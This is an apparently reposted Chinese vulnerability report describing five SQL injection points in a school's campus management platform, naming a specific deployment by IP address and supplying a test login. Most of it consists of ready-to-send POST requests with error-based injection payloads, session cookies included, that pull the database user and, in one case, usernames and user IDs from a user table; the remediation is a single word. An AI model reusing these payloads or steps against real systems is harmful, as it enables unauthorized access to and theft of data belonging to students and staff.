来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 通用型校园管理平台SQL注入北京乐知行软件有限公司,通用型校园管理平台官方案例:http: www lezhixing com cn cms lzx case index jhtml我们那北京101中学为例:案例网址:http: 202 108 154 209 datace...
北京乐知行软件有限公司,通用型校园管理平台
官方案例:http://www.lezhixing.com.cn/cms/lzx/case/index.jhtml
我们那北京101中学为例:
案例网址:http://202.108.154.209/datacenter/#
测试用户:
test123/123456
第一处SQL注入:
1、普通学生用户登陆
2、一周日程——导出日程——确定
3、发送下面请求:
链接:http://202.108.154.209/oa/calendar/exportExcel.do
POST:exportStartDate=2014-03-03&exportEndDate=2014-03-04&exportCalendars=zhaojinfeng2%E6%97%A5%E5%8E%86&exportCalendarIds=16d07c5ff5e44036b5a44751ab2df91e') AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((user()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and ('1'='1
在参数exportCalendars处存在SQL注入。
发送请求后,会下载文件,注入后的内容就在此文件里。
确定,下载文件。
打开文件就是我们注入后的结果:
第二处SQL注入:
1、普通学生用户登陆
2、一周日程——选择一个日程进行修改(没有日程新建一个)——保存修改
3、在保存是抓包修改
问题参数在c0-e1
修改c0-e1参数,发送修改后的请如下:
POST /oa/dwr/call/plaincall/calendarRemoteCallController.saveEvent.dwr HTTP/1.1 Host: 202.108.154.209 Cookie: AQ_AUTHENTICATION_COOKIE_KEY=aae03b698ecd444aa0ae02f8d87c026a callCount=1 windowName=pageContent c0-scriptName=calendarRemoteCallController c0-methodName=saveEvent c0-id=0 c0-e1=string:0e362687769f426380ab1b8a015ef014' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a c0-e2=string: c0-e3=string:1111111111111 c0-e4=string:2014-03-04 c0-e5=string:2014-03-04 c0-e6=boolean:true c0-e7=boolean:true c0-e8=string:rgb(230%2C115%2C153) c0-e9=number:1 c0-e10=null:null c0-e11=string:-1 c0-e12=number:2 c0-e13=string:arrange c0-e14=number:0 c0-e15=null:null c0-e16=null:null c0-e17=string: c0-e18=string: c0-e19=string: c0-e20=string: c0-e21=string:0 c0-param0=Object_Object:{id:reference:c0-e1, eventId:reference:c0-e2, title:reference:c0-e3, start:reference:c0-e4, end:reference:c0-e5, allDay:reference:c0-e6, editable:reference:c0-e7, backgroundColor:reference:c0-e8, priority:reference:c0-e9, calendarNameId:reference:c0-e10, remind:reference:c0-e11, privacy:reference:c0-e12, eventType:reference:c0-e13, eventStatus:reference:c0-e14, calendarProjectId:reference:c0-e15, arrangeRelation:reference:c0-e16, messageTaskId:reference:c0-e17, dutier:reference:c0-e18, parter:reference:c0-e19, site:reference:c0-e20, xlts:reference:c0-e21} c0-param1=string: c0-param2=boolean:false c0-param3=boolean:true batchId=25 page=%2Foa%2F%2Fcalendar%2FinitCalendar.do%3F__time__%3D1394571647842 httpSessionId= scriptSessionId=4C1126686168926E787E3EBB1EA961EF
返回结果会报错,在报错信息中成功注入出我们想要的数据:
第三处SQL注入:
1、普通学生用户登陆
2、我的桌面——添加我的投票——主题搜索
3、在搜索内容时,抓包,修改criteria,criteria参数存在注入。
发送如下请求:
POST /datacenter/vote/myVoteList.do HTTP/1.1 Host: 202.108.154.209 Cookie: aae03b698ecd444aa0ae02f8d87c026a _search=false&nd=1394576122963&rows=50&page=1&sidx=from_date&sord=desc&criteria=theme+like+'%25123%25'+AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a'
成功注入出想要的数据:
第四处SQL注入:
1、普通学生用户登陆
2、我的门户——添加门户项——常用信息
3、发布常用信息
4、发布消息时,截包,修改,参数ID存在SQL注入
发送如下请求:
链接:http://202.108.154.209/oa//mail/personal/save.do
POST:privat=2&portlet=portlet&xxzt=complete&id=822b6cdadc7140fe91da513963d4efdc' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and 'a'='a&xxbt=222222&fbsf=个人:zhaojinfeng2&fjrsf=&info=<p>222222<br/></p>&editorValue=<p>222222<br/></p> Cookie: AQ_AUTHENTICATION_COOKIE_KEY=aae03b698ecd444aa0ae02f8d87c026a
成功注入处user()的数据:
第五处SQL注入:
1、普通学生用户登陆
2、我的桌面——添加——校园办公
3、进入校园办公——信件中心——写信
4、写信时——预览,抓包
到此连接时http://202.108.154.209/oa/dwr/call/plaincall/MailController.getNotReadtotalNumByClassify.dwr
POST参数c0-param0存在注入,此时修改c0-param0为:
c0-param0=string:2' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,user_id) from aq_user limit 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a
即可注入出username和user_id
发送如下请求:
连接:http://202.108.154.209/oa/dwr/call/plaincall/MailController.getNotReadtotalNumByClassify.dwr
POST: callCount=1 windowName= c0-scriptName=MailController c0-methodName=getNotReadtotalNumByClassify c0-id=0 c0-param0=string:2' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,user_id) from aq_user limit 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a batchId=112 page=%2Fdatacenter%2Fportlet%2FshowPortletList.do%3FmenuId%3Ded57d3b21fff48738552a4601ed30e55 httpSessionId= scriptSessionId=3756A70426EB76F99A0BBDDF3AC4FEBC
修复方案:过滤
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com